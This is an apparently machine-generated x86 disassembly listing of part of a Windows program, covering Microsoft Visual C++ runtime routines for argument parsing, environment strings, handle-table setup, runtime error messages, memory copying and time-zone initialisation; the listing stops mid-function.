		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_404AB6
		inc	ebx


loc_404AA9:				; CODE XREF: sub_404972+142j
		test	esi, esi
		jz	short loc_404AB1
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_404AB1:				; CODE XREF: sub_404972+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_404AA9


loc_404AB6:				; CODE XREF: sub_404972+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_404B06
		cmp	[ebp+arg_10], 0
		jnz	short loc_404ACC
		cmp	dl, 20h
		jz	short loc_404B06
		cmp	dl, 9
		jz	short loc_404B06


loc_404ACC:				; CODE XREF: sub_404972+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_404B00
		test	esi, esi
		jz	short loc_404AEF
		movzx	ebx, dl
		test	byte_517421[ebx], 4
		jz	short loc_404AE8
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_404AE8:				; CODE XREF: sub_404972+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_404AFE
; ---------------------------------------------------------------------------


loc_404AEF:				; CODE XREF: sub_404972+162j
		movzx	edx, dl
		test	byte_517421[edx], 4
		jz	short loc_404AFE
		inc	eax
		inc	dword ptr [ecx]


loc_404AFE:				; CODE XREF: sub_404972+17Bj
					; sub_404972+187j
		inc	dword ptr [ecx]


loc_404B00:				; CODE XREF: sub_404972+15Ej
		inc	eax
		jmp	loc_404A5E
; ---------------------------------------------------------------------------


loc_404B06:				; CODE XREF: sub_404972+148j
					; sub_404972+153j ...
		test	esi, esi
		jz	short loc_404B0E
		and	byte ptr [esi],	0
		inc	esi


loc_404B0E:				; CODE XREF: sub_404972+196j
		inc	dword ptr [ecx]
		jmp	loc_404A2C
; ---------------------------------------------------------------------------


loc_404B15:				; CODE XREF: sub_404972+BDj
					; sub_404972+D5j
		test	edi, edi
		jz	short loc_404B1C
		and	dword ptr [edi], 0


loc_404B1C:				; CODE XREF: sub_404972+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_404972	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B26	proc near		; CODE XREF: sub_402EE0+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_409BF4
		push	ebx
		push	ebp
		mov	ebp, dword_4080C8
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_404B74
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_404B55
		mov	dword_409BF4, 1
		jmp	short loc_404B7D
; ---------------------------------------------------------------------------


loc_404B55:				; CODE XREF: sub_404B26+21j
		call	dword_4080C4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404C4F
		mov	dword_409BF4, 2
		jmp	loc_404C03
; ---------------------------------------------------------------------------


loc_404B74:				; CODE XREF: sub_404B26+19j
		cmp	eax, 1
		jnz	loc_404BFE


loc_404B7D:				; CODE XREF: sub_404B26+2Dj
		cmp	esi, ebx
		jnz	short loc_404B8D
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_404C4F


loc_404B8D:				; CODE XREF: sub_404B26+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_404BA2


loc_404B94:				; CODE XREF: sub_404B26+73j
					; sub_404B26+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_404B94
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_404B94


loc_404BA2:				; CODE XREF: sub_404B26+6Cj
		sub	eax, esi
		mov	edi, dword_4080C0
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_404BF3
		push	ebp
		call	sub_4028C6
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_404BF3
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_404BEF
		push	[esp+18h+var_8]
		call	sub_402B18
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_404BEF:				; CODE XREF: sub_404B26+B9j
		mov	ebx, [esp+18h+var_8]


loc_404BF3:				; CODE XREF: sub_404B26+99j
					; sub_404B26+A8j
		push	esi
		call	dword_4080BC
		mov	eax, ebx
		jmp	short loc_404C51
; ---------------------------------------------------------------------------


loc_404BFE:				; CODE XREF: sub_404B26+51j
		cmp	eax, 2
		jnz	short loc_404C4F


loc_404C03:				; CODE XREF: sub_404B26+49j
		cmp	edi, ebx
		jnz	short loc_404C13
		call	dword_4080C4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_404C4F


loc_404C13:				; CODE XREF: sub_404B26+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_404C23


loc_404C19:				; CODE XREF: sub_404B26+F6j
					; sub_404B26+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_404C19
		inc	eax
		cmp	[eax], bl
		jnz	short loc_404C19


loc_404C23:				; CODE XREF: sub_404B26+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_4028C6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_404C39
		xor	esi, esi
		jmp	short loc_404C44
; ---------------------------------------------------------------------------


loc_404C39:				; CODE XREF: sub_404B26+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4063C0
		add	esp, 0Ch


loc_404C44:				; CODE XREF: sub_404B26+111j
		push	edi
		call	dword_4080B8
		mov	eax, esi
		jmp	short loc_404C51
; ---------------------------------------------------------------------------


loc_404C4F:				; CODE XREF: sub_404B26+39j
					; sub_404B26+61j ...
		xor	eax, eax


loc_404C51:				; CODE XREF: sub_404B26+D6j
					; sub_404B26+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_404B26	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C58	proc near		; CODE XREF: sub_402EE0+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_4028C6
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_404C78
		push	1Bh
		call	sub_402FD6
		pop	ecx


loc_404C78:				; CODE XREF: sub_404C58+16j
		mov	dword_518560, esi
		mov	dword_518660, 20h
		lea	eax, [esi+100h]


loc_404C8E:				; CODE XREF: sub_404C58+52j
		cmp	esi, eax
		jnb	short loc_404CAC
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_518560
		add	esi, 8
		add	eax, 100h
		jmp	short loc_404C8E
; ---------------------------------------------------------------------------


loc_404CAC:				; CODE XREF: sub_404C58+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_408094
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_404D88
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_404D88
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_404CE2
		mov	esi, eax


loc_404CE2:				; CODE XREF: sub_404C58+86j
		cmp	dword_518660, esi
		jge	short loc_404D3C
		mov	edi, offset dword_518564


loc_404CEF:				; CODE XREF: sub_404C58+DAj
		push	100h
		call	sub_4028C6
		test	eax, eax
		pop	ecx
		jz	short loc_404D36
		add	dword_518660, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_404D0D:				; CODE XREF: sub_404C58+CFj
		cmp	eax, ecx
		jnb	short loc_404D29
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_404D0D
; ---------------------------------------------------------------------------


loc_404D29:				; CODE XREF: sub_404C58+B7j
		add	edi, 4
		cmp	dword_518660, esi
		jl	short loc_404CEF
		jmp	short loc_404D3C
; ---------------------------------------------------------------------------


loc_404D36:				; CODE XREF: sub_404C58+A4j
		mov	esi, dword_518660


loc_404D3C:				; CODE XREF: sub_404C58+90j
					; sub_404C58+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_404D88


loc_404D42:				; CODE XREF: sub_404C58+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404D7F
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_404D7F
		test	cl, 8
		jnz	short loc_404D61
		push	eax
		call	dword_4080D4
		test	eax, eax
		jz	short loc_404D7F


loc_404D61:				; CODE XREF: sub_404C58+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_518560[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_404D7F:				; CODE XREF: sub_404C58+EFj
					; sub_404C58+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_404D42


loc_404D88:				; CODE XREF: sub_404C58+65j
					; sub_404C58+71j ...
		xor	ebx, ebx


loc_404D8A:				; CODE XREF: sub_404C58+195j
		mov	eax, dword_518560
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_404DE5
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_404DA5
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_404DAF
; ---------------------------------------------------------------------------


loc_404DA5:				; CODE XREF: sub_404C58+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_404DAF:				; CODE XREF: sub_404C58+14Bj
		push	eax
		call	dword_4080D0
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_404DD4
		push	edi
		call	dword_4080D4
		test	eax, eax
		jz	short loc_404DD4
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_404DDA


loc_404DD4:				; CODE XREF: sub_404C58+163j
					; sub_404C58+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_404DE9
; ---------------------------------------------------------------------------


loc_404DDA:				; CODE XREF: sub_404C58+17Aj
		cmp	eax, 3
		jnz	short loc_404DE9
		or	byte ptr [esi+4], 8
		jmp	short loc_404DE9
; ---------------------------------------------------------------------------


loc_404DE5:				; CODE XREF: sub_404C58+13Ej
		or	byte ptr [esi+4], 80h


loc_404DE9:				; CODE XREF: sub_404C58+180j
					; sub_404C58+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_404D8A
		push	dword_518660
		call	dword_4080CC
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_404C58	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E03	proc near		; CODE XREF: sub_402FD6+9p
					; sub_402FFB+9p
		mov	eax, dword_409AE0
		cmp	eax, 1
		jz	short loc_404E1A
		test	eax, eax
		jnz	short locret_404E3B
		cmp	dword_4090E4, 1
		jnz	short locret_404E3B


loc_404E1A:				; CODE XREF: sub_404E03+8j
		push	0FCh
		call	sub_404E3C
		mov	eax, dword_409BF8
		pop	ecx
		test	eax, eax
		jz	short loc_404E30
		call	eax


loc_404E30:				; CODE XREF: sub_404E03+29j
		push	0FFh
		call	sub_404E3C
		pop	ecx

locret_404E3B:				; CODE XREF: sub_404E03+Cj
					; sub_404E03+15j
		retn
sub_404E03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E3C	proc near		; CODE XREF: sub_402FD6+12p
					; sub_402FFB+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4093A0


loc_404E4F:				; CODE XREF: sub_404E3C+20j
		cmp	edx, [eax]
		jz	short loc_404E5E
		add	eax, 8
		inc	ecx
		cmp	eax, offset dword_409430
		jl	short loc_404E4F


loc_404E5E:				; CODE XREF: sub_404E3C+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_4093A0[esi]
		jnz	loc_404F8C
		mov	eax, dword_409AE0
		cmp	eax, 1
		jz	loc_404F66
		test	eax, eax
		jnz	short loc_404E8F
		cmp	dword_4090E4, 1
		jz	loc_404F66


loc_404E8F:				; CODE XREF: sub_404E3C+44j
		cmp	edx, 0FCh
		jz	loc_404F8C
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_408054
		test	eax, eax
		jnz	short loc_404EC6
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4062D0
		pop	ecx
		pop	ecx


loc_404EC6:				; CODE XREF: sub_404E3C+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_405B90
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_404F09
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_405B90
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_406780
		add	esp, 10h


loc_404F09:				; CODE XREF: sub_404E3C+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4062D0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4062E0
		lea	eax, [ebp+var_A0]
		push	offset asc_40846C ; "\n\n"
		push	eax
		call	sub_4062E0
		push	off_4093A4[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4062E0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_4066F5
		add	esp, 2Ch
		pop	edi
		jmp	short loc_404F8C
; ---------------------------------------------------------------------------


loc_404F66:				; CODE XREF: sub_404E3C+3Cj
					; sub_404E3C+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4093A4[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_405B90
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_4080D0
		push	eax
		call	dword_408048


loc_404F8C:				; CODE XREF: sub_404E3C+2Ej
					; sub_404E3C+59j ...
		pop	esi
		leave
		retn
sub_404E3C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F90	proc near		; CODE XREF: sub_4030DF+2EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_404FB0
		cmp	edi, eax
		jb	loc_405128


loc_404FB0:				; CODE XREF: sub_404F90+16j
		test	edi, 3
		jnz	short loc_404FCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_404FEC
		rep movsd
		jmp	off_4050D8[edx*4]
; ---------------------------------------------------------------------------


loc_404FCC:				; CODE XREF: sub_404F90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_404FE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_404FEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_404FE4:				; CODE XREF: sub_404F90+46j
		jmp	dword ptr loc_4050E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404FEC:				; CODE XREF: sub_404F90+31j
					; sub_404F90+8Ej ...
		jmp	off_40506C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_405000
		dd offset loc_40502C
		dd offset loc_405050
; ---------------------------------------------------------------------------


loc_405000:				; DATA XREF: sub_404F90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_404FEC
		rep movsd
		jmp	off_4050D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40502C:				; DATA XREF: sub_404F90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_404FEC
		rep movsd
		jmp	off_4050D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_405050:				; DATA XREF: sub_404F90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_404FEC
		rep movsd
		jmp	off_4050D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40506C	dd offset loc_4050CF	; DATA XREF: sub_404F90:loc_404FECr
		dd offset loc_4050BC
		dd offset loc_4050B4
		dd offset loc_4050AC
		dd offset loc_4050A4
		dd offset loc_40509C
		dd offset loc_405094
		dd offset loc_40508C
; ---------------------------------------------------------------------------


loc_40508C:				; CODE XREF: sub_404F90:loc_404FECj
					; DATA XREF: sub_404F90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_405094:				; CODE XREF: sub_404F90:loc_404FECj
					; DATA XREF: sub_404F90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40509C:				; CODE XREF: sub_404F90:loc_404FECj
					; DATA XREF: sub_404F90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4050A4:				; CODE XREF: sub_404F90:loc_404FECj
					; DATA XREF: sub_404F90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4050AC:				; CODE XREF: sub_404F90:loc_404FECj
					; DATA XREF: sub_404F90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4050B4:				; CODE XREF: sub_404F90:loc_404FECj
					; DATA XREF: sub_404F90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4050BC:				; CODE XREF: sub_404F90:loc_404FECj
					; DATA XREF: sub_404F90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4050CF:				; CODE XREF: sub_404F90:loc_404FECj
					; DATA XREF: sub_404F90:off_40506Co
		jmp	off_4050D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4050D8	dd offset loc_4050E8	; DATA XREF: sub_404F90+35r
					; sub_404F90+92r ...
		dd offset loc_4050F0
		dd offset loc_4050FC
		dd offset loc_405110
; ---------------------------------------------------------------------------


loc_4050E8:				; CODE XREF: sub_404F90+35j
					; sub_404F90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4050F0:				; CODE XREF: sub_404F90+35j
					; sub_404F90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4050FC:				; CODE XREF: sub_404F90+35j
					; sub_404F90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_405110:				; CODE XREF: sub_404F90+35j
					; sub_404F90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405128:				; CODE XREF: sub_404F90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40515C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_405150
		std
		rep movsd
		cld
		jmp	off_405270[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_405150:				; CODE XREF: sub_404F90+1B1j
					; sub_404F90+208j ...
		neg	ecx
		jmp	off_405220[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40515C:				; CODE XREF: sub_404F90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_405174
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_405174+4[eax*4]
; ---------------------------------------------------------------------------


loc_405174:				; CODE XREF: sub_404F90+1D6j
					; DATA XREF: sub_404F90+1DDr
		jmp	off_405270[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ecx+40h], dl
		add	[eax-2FFFBFAFh], ch
		push	ecx
		inc	eax
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_405150
		std
		rep movsd
		cld
		jmp	off_405270[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_405150
		std
		rep movsd
		cld
		jmp	off_405270[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_405150
		std
		rep movsd
		cld
		jmp	off_405270[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_405224
		dd offset loc_40522C
		dd offset loc_405234
		dd offset loc_40523C
		dd offset loc_405244
		dd offset loc_40524C
		dd offset loc_405254
off_405220	dd offset loc_405267	; DATA XREF: sub_404F90+1C2r
; ---------------------------------------------------------------------------


loc_405224:				; DATA XREF: sub_404F90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40522C:				; DATA XREF: sub_404F90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_405234:				; DATA XREF: sub_404F90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40523C:				; DATA XREF: sub_404F90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_405244:				; DATA XREF: sub_404F90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40524C:				; DATA XREF: sub_404F90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_405254:				; DATA XREF: sub_404F90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_405267:				; CODE XREF: sub_404F90+1C2j
					; DATA XREF: sub_404F90:off_405220o
		jmp	off_405270[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_405270	dd offset loc_405280	; DATA XREF: sub_404F90+1B7r
					; sub_404F90:loc_405174r ...
		dd offset loc_405288
		dd offset loc_405298
		dd offset loc_4052AC
; ---------------------------------------------------------------------------


loc_405280:				; CODE XREF: sub_404F90+1B7j
					; sub_404F90:loc_405174j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405288:				; CODE XREF: sub_404F90+1B7j
					; sub_404F90:loc_405174j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405298:				; CODE XREF: sub_404F90+1B7j
					; sub_404F90:loc_405174j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4052AC:				; CODE XREF: sub_404F90+1B7j
					; sub_404F90:loc_405174j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_404F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052C5	proc near		; CODE XREF: sub_403BB5:loc_403BF4p
		cmp	dword_409CB8, 0
		jnz	short locret_4052D9
		call	sub_4052DA
		inc	dword_409CB8

locret_4052D9:				; CODE XREF: sub_4052C5+7j
		retn
sub_4052C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052DA	proc near		; CODE XREF: sub_4052C5+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_409C00, ebp
		mov	dword_4094D8, ebx
		mov	dword_4094C8, ebx
		call	sub_406904
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_405403
		push	offset dword_409C08
		call	dword_40807C
		cmp	eax, ebx
		jz	loc_405532
		mov	eax, dword_409C08
		mov	ecx, dword_409C5C
		imul	eax, 3Ch
		cmp	word_409C4E, bp
		push	1
		pop	edx
		mov	dword_409430, eax
		mov	dword_409C00, edx
		jz	short loc_405351
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_409430, eax


loc_405351:				; CODE XREF: sub_4052DA+69j
		cmp	word_409CA2, bp
		jz	short loc_405375
		mov	eax, dword_409CB0
		cmp	eax, ebp
		jz	short loc_405375
		sub	eax, ecx
		mov	dword_409434, edx
		imul	eax, 3Ch
		mov	dword_409438, eax
		jmp	short loc_405381
; ---------------------------------------------------------------------------


loc_405375:				; CODE XREF: sub_4052DA+7Ej
					; sub_4052DA+87j
		mov	dword_409434, ebp
		mov	dword_409438, ebp


loc_405381:				; CODE XREF: sub_4052DA+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_4080C0
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4094BC
		push	ebx
		push	offset dword_409C0C
		push	edi
		push	dword_409CEC
		call	esi
		test	eax, eax
		jz	short loc_4053BE
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4053BE
		mov	eax, off_4094BC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4053C6
; ---------------------------------------------------------------------------


loc_4053BE:				; CODE XREF: sub_4052DA+D1j
					; sub_4052DA+D7j
		mov	eax, off_4094BC
		and	byte ptr [eax],	0


loc_4053C6:				; CODE XREF: sub_4052DA+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4094C0
		push	ebx
		push	offset dword_409C60
		push	edi
		push	dword_409CEC
		call	esi
		test	eax, eax
		jz	loc_40552A
		cmp	[esp+14h+var_4], ebp
		jnz	loc_40552A
		mov	eax, off_4094C0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_405532
; ---------------------------------------------------------------------------


loc_405403:				; CODE XREF: sub_4052DA+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_405532
		mov	eax, dword_409CB4
		cmp	eax, ebp
		jz	short loc_405426
		push	eax
		push	esi
		call	sub_406880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405532


loc_405426:				; CODE XREF: sub_4052DA+139j
		push	dword_409CB4
		call	sub_402B18
		push	esi
		call	sub_405B90
		inc	eax
		push	eax
		call	sub_4028C6
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_409CB4, eax
		jz	loc_405532
		push	esi
		push	eax
		call	sub_4062D0
		push	3
		push	esi
		push	off_4094BC
		call	sub_406780
		mov	eax, off_4094BC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_40547B
		push	1
		inc	esi
		pop	edi


loc_40547B:				; CODE XREF: sub_4052DA+19Bj
		push	esi
		call	sub_402BE9
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_409430, ecx


loc_405492:				; CODE XREF: sub_4052DA+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4054A0
		cmp	al, bl
